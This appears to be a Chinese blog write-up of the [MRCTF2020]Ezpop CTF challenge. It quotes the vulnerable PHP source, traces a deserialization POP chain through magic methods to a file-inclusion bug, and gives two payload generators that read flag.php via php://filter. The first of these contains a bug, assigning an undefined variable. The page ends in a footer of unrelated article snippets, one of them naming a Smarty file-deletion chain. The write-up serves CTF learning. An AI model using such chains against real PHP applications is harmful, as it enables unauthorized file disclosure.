那次某信内部比赛中有道pop链问题的题目,我当时没有做出来,所以在此总结一下,本次以buu上复现的[MRCTF2020]Ezpop为例。

题目

 1 Welcome to index.php
2 <?php
3 //flag is in flag.php
4 //WTF IS THIS?
5 //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
6 //And Crack It!
7 class Modifier {
8 protected $var;
9 public function append($value){
10 include($value);
11 }
12 public function __invoke(){
13 $this->append($this->var);
14 }
15 }
16
17 class Show{
18 public $source;
19 public $str;
20 public function __construct($file='index.php'){
21 $this->source = $file;
22 echo 'Welcome to '.$this->source."<br>";
23 }
24 public function __toString(){
25 return $this->str->source;
26 }
27
28 public function __wakeup(){
29 if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
30 echo "hacker";
31 $this->source = "index.php";
32 }
33 }
34 }
35
36 class Test{
37 public $p;
38 public function __construct(){
39 $this->p = array();
40 }
41
42 public function __get($key){
43 $function = $this->p;
44 return $function();
45 }
46 }
47
48 if(isset($_GET['pop'])){
49 @unserialize($_GET['pop']);
50 }
51 else{
52 $a=new Show;
53 highlight_file(__FILE__);
54 }

分析

将涉及到的魔法函数先列出一下:

__construct   当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发

大致分析一下,这道题主要存在两个点:

1.序列化pop链
利用几个类之间相互关联进行构造
2.文件包含漏洞
Modifier类中append函数使用了include(),会出现文件包含漏洞。

详细分析

1.根据以上题目,当用get方法传一个pop参数后,会自动调用Show类的_wakeup()魔术方法。

2._wakeup()通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了__toString()方法;

3.如果__toString()其中str赋值为一个实例化的Test类,那么其类不含有source属性,所以会调用Test中的_get()方法。

4.如果_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。

5.利用文件包含漏洞,使用_invoke()读取flag.php的内容。

Modifier::__invoke()<--Test::__get()<--Show::__toString()

总结

首先反序列化一个实例化的Show($a),就会调用_wakeup(),其中$a会被赋值给source。所以让$a是一个实例化的Show类,这样就会调用_tostring(),然后让里面的$a这个Show类中的str赋值为Test()类,然后让str这个Test()类中的p赋值为Modifier()类。

payload1

 1 <?php
2 class Show{
3 public $source;
4 public $str;
5 }
6
7 class Test{
8 public $p;
9
10
11 }
12 class Modifier{
13 protected $var = "php://filter/convert.base64-encode/resource=flag.php";
14
15 }
16 $s = new Show();
17 $t = new Test();
18 $m = new Modifier();
19 $s->source = $s;
20 $s->str = $t;
21 $t->p = $r;
22 var_dump(urlencode(serialize($s)));
23
24 ?>

payload2

 1 <?php
2 class Modifier{
3
4 protected $var = "php://filter/convert.base64-encode/resource=flag.php";
5 }
6
7 class Show{
8 public $source;
9 public $str;
10 public function __construct(){
11 $this->str = new Test();
12
13 }
14
15 }
16 class Test{
17 public $p;
18 public function __construct(){
19
20 $this->p = new Modifier();
21 }
22
23 }
24 $a = new Show();
25 $b = new Show();
26 $b->str = "";
27 $b->source = $a;
28 var_dump($b);
29 var_dump(urlencode(serialize($b)));
30 ?>

参考:https://blog.csdn.net/weixin_43952190/article/details/106016260

[BJDCTF2020]EzPHP-POP链的更多相关文章

  1. 2019强网杯web upload分析(pop链)

    参考链接:https://blog.csdn.net/qq_41173457/article/details/90724943 注意 只要namespace相同那就可以直接实例化同一namespace ...

  2. [BJDCTF2020]EzPHP

    [BJDCTF2020]EzPHP 解码:http://794983a5-f5dc-4a13-bc0b-ca7140ba23f3.node3.buuoj.cn/1nD3x.php 源代码: <? ...

  3. Smarty 3.1.34 反序列化POP链(任意文件删除)

    Smarty <= 3.1.34,存在任意文件删除的POP链. Exp: <?php class Smarty_Internal_Template { public $smarty = n ...

  4. PHP审计之POP链挖掘

    PHP审计之POP链挖掘 前言 续上文中的php反序列化,继续来看,这个POP的挖掘思路.在其中一直构思基于AST去自动化挖掘POP链,迫于开发能力有限.没有进展,随后找到了一个别的师傅已经实现好的项 ...

  5. php反序列化之pop链构造

    本题是某信有一次内部比赛的题目,涉及到pop链的构造问题,所以在这里与大家分享一下 题目 查看源码 逻辑是当参数fn存在且不包含string.zlib.flag这三个字符串时,进行文件包含这里的过滤是 ...

  6. pop链构造

    class Person { private $name; private $sex; private $age; //__set()方法用来设置私有属性 function __set($proper ...

  7. 构造注入链:POP

    1.POP链原理简介: 在反序列化中,我们能控制的数据就是对象中的属性值,所以在PHP反序列化中有一种 漏洞利用方法叫"面向属性编程",即POP( Property Oriente ...

  8. ThinkPHP v5.1.x POP 链分析

    环境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔术方法并巧妙构造特殊属性调用一系列函 ...

  9. yso中URLDNS的pop链分析(重新分析整理)

    #发现之前对这个链关注的点有点问题,重新分析了一下 由于最近面试的过程中被问到了yso中URLDNS这个pop链的工作原理,当时面试因为是谈到shiro的怎么检测和怎么攻击时谈到了这个.其实在实战中用 ...

随机推荐

  1. GSS API

    Detail:http://docs.oracle.com/cd/E24847_01/html/E22200/overview-61.html GSS-API 介绍 使用 GSS-API,程序员在编写 ...

  2. 一台电脑如何安装多个版本的JDK及其说明

    一.安装多个版本的JDK及其说明 1.准备多个版本的JDK 需要请点击下载 2.安装过程,除了根据需要更改安装路径,其他"傻瓜式"安装("下一步"),各版本都是 ...

  3. Python3 面向对象之-----元类

    元类 1. 类也是对象 在大多数编程语言中,类就是一组用来描述如何生成一个对象的代码段.在Python中这一点仍然成立: >>> class ObjectCreator(object ...

  4. 使用JS对字符串进行MD5加密

    md5.js /* * A JavaScript implementation of the RSA Data Security, Inc. MD5 Message * Digest Algorith ...

  5. 使用PostMan测试WebService接口教程

    一.操作步骤 1.设置URL 2.设置请求模式:Post 3.设置Header:添加 Content-Type ,值为 text/xml;charset=utf-8 4.设置Body:勾选raw 5. ...

  6. SpringBoot使用@Async实现异步调用

    1.@EnableAsync 首先,我们需要在启动类上添加  @EnableAsync 注解来声明开启异步方法. @SpringBootApplication @EnableAsync public ...

  7. Go1.18中的泛型编程

    目录 目录 前言 泛型是什么 Go的泛型 泛型函数 泛型类型 类型集合 和接口的差异 总结 前言 经过这几年的千呼万唤,简洁的Go语言终于在1.18版本迎来泛型编程.作为一门已经有了14年历史的强类型 ...

  8. cmake配置MFC项目属性

    MFC的使用 使用下面的代码设置为: # 设置MFC的使用 SET(CMAKE_MFC_FLAG 2) 这里的 2 代表: 在共享 DLL 中使用 MFC, 1代表在静态库中使用 MFC 设置字符集 ...

  9. 【LeetCode】253. Meeting Rooms II 解题报告(C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 排序+堆 日期 题目地址:https://leetco ...

  10. 【LeetCode】20. Valid Parentheses 有效的括号

    作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 个人公众号:负雪明烛 本文关键词:有效,括号,括号匹配,栈,题解,leetcode, 力扣 ...